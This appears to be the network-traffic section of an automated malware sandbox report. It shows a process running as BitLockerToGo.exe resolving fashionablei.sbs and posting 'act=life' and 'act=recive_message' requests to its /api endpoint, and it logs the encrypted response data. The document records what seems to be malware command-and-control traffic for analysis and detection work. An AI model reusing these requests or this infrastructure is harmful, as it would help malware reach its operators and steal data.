Oct 26, 2024 16:02:24.369617939 CEST	443	49796	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:24.384536982 CEST	49796	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:24.384738922 CEST	49796	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:24.384814024 CEST	443	49796	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:24.385000944 CEST	49796	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:24.385016918 CEST	443	49796	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:25.087369919 CEST	443	49796	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:25.087618113 CEST	443	49796	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:25.088613033 CEST	49796	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:25.088819027 CEST	49796	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:25.088836908 CEST	443	49796	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:25.476809978 CEST	49807	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:25.476843119 CEST	443	49807	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:25.476916075 CEST	49807	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:25.477210045 CEST	49807	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:25.477225065 CEST	443	49807	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:26.091849089 CEST	443	49807	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:26.092108011 CEST	49807	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:26.094204903 CEST	49807	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:26.094213009 CEST	443	49807	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:26.094507933 CEST	443	49807	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:26.104599953 CEST	49807	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:26.104650021 CEST	49807	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:26.104782104 CEST	443	49807	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:26.608973026 CEST	443	49807	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:26.609097004 CEST	443	49807	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:26.609421015 CEST	49807	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:26.609421015 CEST	49807	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:26.682148933 CEST	49816	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:26.682223082 CEST	443	49816	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:26.682363987 CEST	49816	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:26.682743073 CEST	49816	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:26.682775021 CEST	443	49816	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:27.289609909 CEST	443	49816	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:27.289772987 CEST	49816	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:27.291565895 CEST	49816	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:27.291588068 CEST	443	49816	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:27.292078972 CEST	443	49816	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:27.293363094 CEST	49816	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:27.293500900 CEST	49816	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:27.293540001 CEST	443	49816	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:27.624315977 CEST	443	49816	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:27.624403954 CEST	443	49816	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:27.624680996 CEST	49816	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:27.624952078 CEST	49816	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:27.624999046 CEST	443	49816	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:27.761651039 CEST	49822	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:27.761701107 CEST	443	49822	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:27.761771917 CEST	49822	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:27.762479067 CEST	49822	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:27.762495041 CEST	443	49822	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:28.398689985 CEST	443	49822	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:28.398890018 CEST	49822	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:28.400759935 CEST	49822	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:28.400778055 CEST	443	49822	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:28.401695967 CEST	443	49822	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:28.402981043 CEST	49822	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:28.403089046 CEST	49822	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:28.403098106 CEST	443	49822	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:28.907624960 CEST	443	49822	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:28.907877922 CEST	443	49822	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:28.908031940 CEST	49822	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:28.909261942 CEST	49822	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:28.909286022 CEST	443	49822	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:28.977991104 CEST	49830	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:28.978070974 CEST	443	49830	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:28.978174925 CEST	49830	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:28.978707075 CEST	49830	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:28.978744984 CEST	443	49830	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:29.588390112 CEST	443	49830	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:29.588510036 CEST	49830	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:29.589983940 CEST	49830	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:29.589996099 CEST	443	49830	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:29.590337038 CEST	443	49830	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:29.608704090 CEST	49830	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:29.608831882 CEST	49830	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:29.608858109 CEST	443	49830	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:30.121074915 CEST	443	49830	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:30.121196985 CEST	443	49830	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:30.121264935 CEST	49830	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:30.121377945 CEST	49830	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:30.121392965 CEST	443	49830	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:30.163847923 CEST	49839	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:30.163887978 CEST	443	49839	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:30.163980007 CEST	49839	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:30.164338112 CEST	49839	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:30.164350986 CEST	443	49839	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:31.027713060 CEST	443	49839	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:31.027791023 CEST	49839	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:31.029093981 CEST	49839	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:31.029103041 CEST	443	49839	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:31.029434919 CEST	443	49839	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:31.030817986 CEST	49839	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:31.030843019 CEST	49839	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:31.030895948 CEST	443	49839	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:31.525222063 CEST	443	49839	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:31.525377989 CEST	443	49839	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:31.525432110 CEST	49839	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:31.525901079 CEST	49839	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:31.525907993 CEST	443	49839	188.114.97.3	192.168.2.6
Oct 26, 2024 16:02:31.525922060 CEST	49839	443	192.168.2.6	188.114.97.3
Oct 26, 2024 16:02:31.525929928 CEST	443	49839	188.114.97.3	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 26, 2024 16:02:16.355534077 CEST	59483	53	192.168.2.6	1.1.1.1
Oct 26, 2024 16:02:16.369908094 CEST	53	59483	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 26, 2024 16:02:16.355534077 CEST	192.168.2.6	1.1.1.1	0x84e8	Standard query (0)	fashionablei.sbs	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 26, 2024 16:02:16.369908094 CEST	1.1.1.1	192.168.2.6	0x84e8	No error (0)	fashionablei.sbs		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 26, 2024 16:02:16.369908094 CEST	1.1.1.1	192.168.2.6	0x84e8	No error (0)	fashionablei.sbs		188.114.96.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

fashionablei.sbs

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49747	188.114.97.3	443	5232	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 14:02:17 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: fashionablei.sbs
2024-10-26 14:02:17 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-26 14:02:17 UTC	1005	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 14:02:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3u679v6c8trno095g49fp4lb91; expires=Wed, 19 Feb 2025 07:48:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=O2muEMN7ahdzlRQyGvCRjDSHfBZI2S2MKNiygDOg2cdBYTxUNCFLTvxhAnsQwmYdXU1PgtXpZ2UGl62vRGvWT7Lknazk1cIK7CVtcnhdU%2B1rDBal%2BnCbUDvzfc9ZIysPFThb"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8afbb0f9666b05-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1288&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2840&recv_bytes=907&delivery_rate=2154761&cwnd=251&unsent_bytes=0&cid=6b26e711385af23f&ts=538&x=0"
2024-10-26 14:02:17 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-26 14:02:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49758	188.114.97.3	443	5232	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 14:02:18 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 86 Host: fashionablei.sbs
2024-10-26 14:02:18 UTC	86	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 74 4c 59 4d 65 35 2d 2d 74 65 73 74 74 65 73 74 74 65 73 74 26 6a 3d 35 63 39 62 38 36 37 34 61 36 33 30 64 39 31 30 31 62 34 36 37 33 33 61 61 33 37 66 31 35 65 63 Data Ascii: act=recive_message&ver=4.0&lid=tLYMe5--testtesttest&j=5c9b8674a630d9101b46733aa37f15ec
2024-10-26 14:02:18 UTC	1015	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 14:02:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fk4r7duo919dajqp9kqoc9m5iv; expires=Wed, 19 Feb 2025 07:48:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cgxr6ulWr%2BEOor893Fkc1eAsyhgw%2Fry2GwrvoO3h8ye1jJOp6bhIPIFni5hM28r2hTlSpvDF%2BBcWQp%2Bu%2B4E%2BP07Y0PrXGc6M3%2FwOxdV7a13H3D10OtJPUiazdRbRosOSD53p"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8afbb95fb56b56-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1266&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2840&recv_bytes=986&delivery_rate=2267815&cwnd=251&unsent_bytes=0&cid=795af41211ec4130&ts=499&x=0"
2024-10-26 14:02:18 UTC	354	IN	Data Raw: 33 64 65 63 0d 0a 79 50 2b 46 61 61 4f 7a 75 58 35 50 78 43 44 49 78 4b 6b 42 4f 57 5a 4e 31 37 54 6d 70 64 47 37 43 76 65 38 53 45 31 39 69 52 61 7a 33 66 4e 4c 6d 59 65 56 58 44 79 68 41 76 4b 69 79 47 31 4b 41 32 48 31 31 59 4b 48 36 39 31 72 6d 38 38 74 59 56 2f 2f 65 2b 72 46 34 77 6a 50 77 4e 78 53 62 61 46 59 36 76 37 79 65 68 73 44 49 2f 57 4f 78 4d 43 37 32 57 75 62 33 69 6b 6d 45 76 6c 36 71 35 66 70 44 73 76 57 32 68 6f 75 71 45 32 74 6f 63 78 67 55 77 67 6b 75 74 79 4c 68 2f 32 5a 62 34 32 65 63 6d 38 77 37 47 4b 70 73 75 51 61 79 4a 48 45 55 6a 54 6d 52 61 62 6d 6b 79 4e 59 41 79 2b 37 30 6f 4c 4f 75 64 4e 69 6b 39 38 73 4a 77 33 67 63 4b 43 58 35 77 33 4b 33 4e 4d 4f 49 36 4a 4b 70 71 66 47 59 42 74 4b 62 37 4c 4f 78 4a 2f 7a 69 6c 71 57 7a Data Ascii: 3decyP+FaaOzuX5PxCDIxKkBOWZN17TmpdG7Cve8SE19iRaz3fNLmYeVXDyhAvKiyG1KA2H11YKH691rm88tYV//e+rF4wjPwNxSbaFY6v7yehsDI/WOxMC72Wub3ikmEvl6q5fpDsvW2houqE2tocxgUwgkutyLh/2Zb42ecm8w7GKpsuQayJHEUjTmRabmkyNYAy+70oLOudNik98sJw3gcKCX5w3K3NMOI6JKpqfGYBtKb7LOxJ/zilqWz
2024-10-26 14:02:18 UTC	1369	IN	Data Raw: 30 4e 59 63 50 36 35 4a 6f 61 50 5a 61 46 49 4a 49 72 58 62 6a 73 69 77 32 57 2b 66 31 43 55 6c 47 2b 5a 35 72 4a 33 6e 53 34 2b 52 33 41 52 74 2f 67 4b 4a 6f 39 74 6b 56 78 4a 74 6a 35 61 62 69 61 71 5a 62 35 6d 65 63 6d 38 58 37 6e 65 70 6c 75 67 49 79 64 72 4a 48 44 2b 67 54 36 2b 30 7a 57 5a 56 44 69 79 6e 33 49 72 42 73 4e 42 6a 6e 4e 73 74 4b 31 2b 6c 4e 4b 32 46 70 31 4f 42 38 4e 59 58 49 61 78 56 71 75 62 55 4c 55 4a 45 4b 4c 6d 57 33 49 65 33 32 47 79 55 32 69 51 68 47 2b 64 79 70 4a 44 6f 44 63 76 52 33 42 59 6c 72 6b 4f 6e 72 63 52 6a 58 67 6b 72 73 39 71 46 77 76 4f 58 4b 4a 4c 47 61 6e 64 66 78 58 4f 70 6a 36 55 2b 77 74 2f 56 47 7a 76 6d 58 65 53 2f 69 32 52 58 52 48 66 31 32 49 48 49 6f 64 68 36 6b 4e 41 34 49 78 72 74 65 61 6d 54 35 77 37 Data Ascii: 0NYcP65JoaPZaFIJIrXbjsiw2W+f1CUlG+Z5rJ3nS4+R3ARt/gKJo9tkVxJtj5abiaqZb5mecm8X7neplugIydrJHD+gT6+0zWZVDiyn3IrBsNBjnNstK1+lNK2Fp1OB8NYXIaxVqubULUJEKLmW3Ie32GyU2iQhG+dypJDoDcvR3BYlrkOnrcRjXgkrs9qFwvOXKJLGandfxXOpj6U+wt/VGzvmXeS/i2RXRHf12IHIodh6kNA4IxrteamT5w7
2024-10-26 14:02:18 UTC	1369	IN	Data Raw: 7a 76 6d 58 65 53 2f 69 32 52 58 52 48 66 31 32 6f 33 48 75 4e 4e 73 6c 64 6b 6e 4b 68 7a 73 64 36 65 61 37 51 58 47 31 64 63 56 49 4b 42 43 72 61 4c 4f 63 56 34 4e 49 37 6d 57 79 6f 65 30 77 53 6a 4e 6e 67 55 6f 43 65 68 62 71 59 7a 75 53 39 36 66 77 6c 77 71 71 67 4c 79 35 73 78 6d 55 77 38 70 76 64 61 57 77 72 33 53 61 5a 2f 59 4b 79 49 54 37 58 53 72 6e 65 45 48 77 64 62 63 44 6a 2b 6a 52 4c 69 73 69 79 30 62 41 7a 66 31 6a 73 54 78 6f 38 35 35 67 35 77 66 4c 42 48 6c 63 37 7a 64 2b 45 58 59 6b 64 77 51 62 66 34 43 6f 61 62 48 5a 46 4d 43 4b 37 33 5a 69 38 36 68 32 47 53 62 7a 43 30 76 46 75 56 37 70 70 54 71 44 4d 7a 61 30 52 45 70 6f 55 50 71 36 49 74 6b 51 30 52 33 39 65 43 55 79 72 2f 33 59 35 6e 58 61 6a 42 52 38 6a 53 74 6b 61 64 54 67 64 58 58 Data Ascii: zvmXeS/i2RXRHf12o3HuNNsldknKhzsd6ea7QXG1dcVIKBCraLOcV4NI7mWyoe0wSjNngUoCehbqYzuS96fwlwqqgLy5sxmUw8pvdaWwr3SaZ/YKyIT7XSrneEHwdbcDj+jRLisiy0bAzf1jsTxo855g5wfLBHlc7zd+EXYkdwQbf4CoabHZFMCK73Zi86h2GSbzC0vFuV7ppTqDMza0REpoUPq6ItkQ0R39eCUyr/3Y5nXajBR8jStkadTgdXX
2024-10-26 14:02:18 UTC	1369	IN	Data Raw: 61 76 6f 38 39 6b 58 77 49 67 39 5a 6a 45 77 4b 75 5a 4d 4e 58 78 44 52 70 64 79 6b 37 71 67 71 6b 53 67 64 62 58 58 48 58 6d 54 71 6d 71 77 32 78 64 44 53 4f 2f 33 34 2f 4c 75 4e 31 6b 6e 4e 73 73 4c 68 72 75 64 61 36 52 37 51 33 43 30 74 51 54 49 71 34 43 35 4f 62 4d 65 78 74 63 62 35 44 42 6a 38 6d 31 6d 58 66 62 78 32 6f 6f 45 36 73 73 36 70 48 75 44 63 66 55 31 78 30 72 72 6b 65 69 6f 73 70 6c 58 51 63 67 73 64 4f 46 79 4c 66 56 5a 70 2f 66 4b 79 4d 55 35 48 2b 76 33 61 6c 4c 78 73 6d 62 52 47 32 58 51 62 79 78 32 32 38 62 47 32 47 73 6c 6f 50 4c 38 34 45 6f 6c 4d 77 67 4a 52 48 75 65 36 2b 65 36 41 7a 4d 31 39 63 57 4a 4b 35 45 70 61 2f 5a 59 46 63 4b 4b 4c 76 61 69 73 71 35 32 6d 58 56 6b 47 6f 6f 42 36 73 73 36 72 48 67 42 75 2f 61 31 78 74 74 75 Data Ascii: avo89kXwIg9ZjEwKuZMNXxDRpdyk7qgqkSgdbXXHXmTqmqw2xdDSO/34/LuN1knNssLhruda6R7Q3C0tQTIq4C5ObMextcb5DBj8m1mXfbx2ooE6ss6pHuDcfU1x0rrkeiosplXQcgsdOFyLfVZp/fKyMU5H+v3alLxsmbRG2XQbyx228bG2GsloPL84EolMwgJRHue6+e6AzM19cWJK5Epa/ZYFcKKLvaisq52mXVkGooB6ss6rHgBu/a1xttu
2024-10-26 14:02:18 UTC	1369	IN	Data Raw: 46 49 31 77 63 62 2b 32 57 73 73 43 6a 79 57 76 58 37 7a 77 73 43 65 42 35 70 74 33 34 52 64 69 52 33 42 42 74 2f 67 4b 73 71 63 4a 67 56 41 55 6d 75 64 75 42 7a 72 62 59 62 70 48 55 49 43 38 5a 37 58 57 76 6c 2b 51 4b 79 39 6a 63 46 43 71 6c 55 4f 72 6f 69 32 52 44 52 48 66 31 2f 34 50 56 76 63 6b 6f 69 70 41 7a 62 78 6a 6e 4e 50 4c 64 34 77 48 4f 31 64 77 51 4b 36 4e 45 70 36 66 45 59 6c 73 4c 4b 37 37 66 67 73 61 2b 33 47 57 52 7a 43 41 6b 45 4f 64 39 70 70 43 6e 52 59 48 57 77 31 78 31 35 6e 4f 6e 71 4d 56 6b 54 55 51 77 2b 38 2f 45 77 4c 2b 5a 4d 4e 58 66 4a 69 41 63 35 48 65 70 6e 4f 30 5a 30 39 33 53 46 43 69 71 53 61 53 67 32 57 56 55 44 53 79 32 33 34 50 50 76 39 4e 72 6b 70 35 6b 62 78 6a 7a 4e 50 4c 64 78 42 7a 52 33 4a 73 44 59 37 38 43 72 61 Data Ascii: FI1wcb+2WssCjyWvX7zwsCeB5pt34RdiR3BBt/gKsqcJgVAUmuduBzrbYbpHUIC8Z7XWvl+QKy9jcFCqlUOroi2RDRHf1/4PVvckoipAzbxjnNPLd4wHO1dwQK6NEp6fEYlsLK77fgsa+3GWRzCAkEOd9ppCnRYHWw1x15nOnqMVkTUQw+8/EwL+ZMNXfJiAc5HepnO0Z093SFCiqSaSg2WVUDSy234PPv9Nrkp5kbxjzNPLdxBzR3JsDY78Cra
2024-10-26 14:02:18 UTC	1369	IN	Data Raw: 42 43 75 78 30 59 48 45 76 39 4a 76 6c 74 45 75 4a 68 48 69 65 2b 72 54 70 77 7a 5a 6b 59 4e 63 44 4c 31 42 70 71 75 4c 66 42 55 64 62 37 4c 61 78 4a 2f 7a 31 57 61 51 33 69 41 70 47 2b 35 79 6f 4a 6a 6e 41 4d 4c 65 33 78 6f 70 71 55 4b 68 72 38 70 6c 58 67 34 6b 73 39 75 48 77 62 57 5a 4a 74 58 5a 4d 6d 39 48 71 31 53 78 6b 4f 73 4d 67 63 36 56 42 57 32 68 54 75 72 2b 69 32 68 58 41 43 69 31 32 34 66 50 74 74 31 69 6b 4e 34 69 50 52 66 72 63 37 69 50 35 77 4c 45 33 64 67 63 4b 61 42 4c 72 4b 58 50 49 78 56 45 4b 4b 32 57 33 49 65 65 31 57 2b 38 32 54 46 76 41 4b 56 74 36 70 72 72 53 35 6d 52 32 68 63 6e 71 55 2b 70 6f 4d 68 6f 58 67 34 75 73 74 36 4a 31 62 44 57 5a 35 48 65 4a 53 6b 5a 36 6e 75 73 6d 75 34 4b 79 64 61 62 55 6d 32 68 57 75 72 2b 69 30 31 Data Ascii: BCux0YHEv9JvltEuJhHie+rTpwzZkYNcDL1BpquLfBUdb7LaxJ/z1WaQ3iApG+5yoJjnAMLe3xopqUKhr8plXg4ks9uHwbWZJtXZMm9Hq1SxkOsMgc6VBW2hTur+i2hXACi124fPtt1ikN4iPRfrc7iP5wLE3dgcKaBLrKXPIxVEKK2W3Iee1W+82TFvAKVt6prrS5mR2hcnqU+poMhoXg4ust6J1bDWZ5HeJSkZ6nusmu4KydabUm2hWur+i01
2024-10-26 14:02:18 UTC	1369	IN	Data Raw: 59 37 45 38 72 44 58 5a 70 4c 49 4f 32 49 34 38 58 6d 73 69 76 5a 4c 6a 35 48 64 58 48 58 32 44 4f 71 69 32 69 4d 44 56 48 33 75 67 39 65 51 34 34 74 33 32 38 64 71 4f 56 2b 7a 4a 75 54 64 39 55 75 5a 6b 5a 77 66 50 37 52 45 71 62 44 49 4a 47 55 36 41 62 4c 51 67 63 43 6a 6d 30 61 65 79 69 31 76 55 61 74 37 36 73 58 65 53 34 6d 52 35 46 4a 74 76 67 4c 79 35 76 35 67 56 51 6f 6f 6f 38 66 4a 36 62 54 66 62 5a 4c 4f 61 41 45 55 2f 33 50 71 30 36 63 4e 67 59 6d 4c 55 6d 32 69 55 2b 72 2b 6d 7a 45 41 55 58 7a 69 68 74 62 59 2f 63 41 6f 67 35 35 79 66 56 47 72 5a 75 72 46 70 30 7a 43 77 38 6b 61 4c 72 42 42 37 5a 6a 31 59 45 30 4a 49 4c 37 58 75 76 6d 64 31 47 6d 57 30 47 67 65 43 65 5a 6b 71 5a 6a 67 4e 66 2f 66 33 41 67 71 71 45 53 71 35 6f 55 6a 56 45 52 33 Data Ascii: Y7E8rDXZpLIO2I48XmsivZLj5HdXHX2DOqi2iMDVH3ug9eQ44t328dqOV+zJuTd9UuZkZwfP7REqbDIJGU6AbLQgcCjm0aeyi1vUat76sXeS4mR5FJtvgLy5v5gVQooo8fJ6bTfbZLOaAEU/3Pq06cNgYmLUm2iU+r+mzEAUXzihtbY/cAog55yfVGrZurFp0zCw8kaLrBB7Zj1YE0JIL7Xuvmd1GmW0GgeCeZkqZjgNf/f3AgqqESq5oUjVER3
2024-10-26 14:02:18 UTC	1369	IN	Data Raw: 4f 69 6d 54 44 46 6a 48 46 36 54 4c 77 6b 2b 49 4b 70 45 6f 48 48 6d 30 52 2f 36 41 4b 34 35 70 4d 6a 48 41 63 39 70 39 43 48 30 62 43 65 56 71 76 35 4a 43 67 65 2f 57 53 6e 6b 63 59 49 30 4e 76 6c 49 6a 69 6c 54 4b 53 68 33 58 49 62 53 6d 2b 36 6c 74 7a 2b 38 35 45 6f 71 70 42 71 4e 31 2b 7a 4e 4a 2b 65 36 51 58 47 78 38 70 52 43 71 68 46 71 37 44 62 62 6c 63 6c 4c 4b 54 63 78 49 6e 7a 33 79 6a 4e 6a 47 52 76 47 2f 6f 30 38 73 32 31 55 4a 53 43 6a 45 78 2f 75 51 79 7a 35 74 30 6a 41 31 5a 68 39 63 54 45 6e 2f 4f 65 61 34 66 4d 4c 43 77 4a 36 44 4f 55 6f 38 49 63 77 73 48 64 48 78 4f 59 61 61 61 67 7a 48 6c 63 41 67 6d 56 6c 73 71 48 76 4a 6b 77 72 4a 35 69 62 79 43 6c 4e 4c 4c 64 76 30 76 30 30 74 55 53 4b 72 42 54 35 34 50 63 59 45 73 43 4c 50 57 59 78 Data Ascii: OimTDFjHF6TLwk+IKpEoHHm0R/6AK45pMjHAc9p9CH0bCeVqv5JCge/WSnkcYI0NvlIjilTKSh3XIbSm+6ltz+85EoqpBqN1+zNJ+e6QXGx8pRCqhFq7DbblclLKTcxInz3yjNjGRvG/o08s21UJSCjEx/uQyz5t0jA1Zh9cTEn/Oea4fMLCwJ6DOUo8IcwsHdHxOYaaagzHlcAgmVlsqHvJkwrJ5ibyClNLLdv0v00tUSKrBT54PcYEsCLPWYx
2024-10-26 14:02:18 UTC	1369	IN	Data Raw: 6f 7a 59 31 6b 62 77 32 72 4c 4f 72 61 36 51 62 41 30 74 55 66 50 37 52 45 71 62 44 49 4a 47 55 36 41 4c 37 58 6c 4d 71 69 31 47 79 44 34 42 51 49 47 65 35 7a 6c 4b 50 51 47 73 62 42 6d 54 6f 75 73 45 48 71 36 49 74 37 47 31 78 76 6b 74 43 42 77 50 4f 58 4b 4a 47 65 63 6d 38 77 34 48 57 36 6b 50 59 47 78 63 65 5a 4f 79 75 6a 52 65 72 6f 69 32 38 62 58 47 2b 36 78 34 50 42 74 74 34 6b 6b 73 51 74 62 31 47 72 65 75 72 46 70 77 54 51 31 74 30 5a 4b 75 70 45 70 4b 69 4c 66 42 55 64 62 36 4f 57 33 4a 54 39 6d 58 72 56 68 6d 70 6f 45 65 5a 31 71 5a 50 6b 47 64 50 58 32 41 6f 75 34 58 79 55 68 74 74 67 54 77 4d 65 75 4e 4b 53 30 72 44 4a 62 36 76 67 43 6a 38 63 2f 33 50 6c 76 66 63 47 31 4d 44 63 44 42 4f 59 64 62 75 68 32 79 46 39 42 7a 6d 32 6c 73 71 48 71 35 Data Ascii: 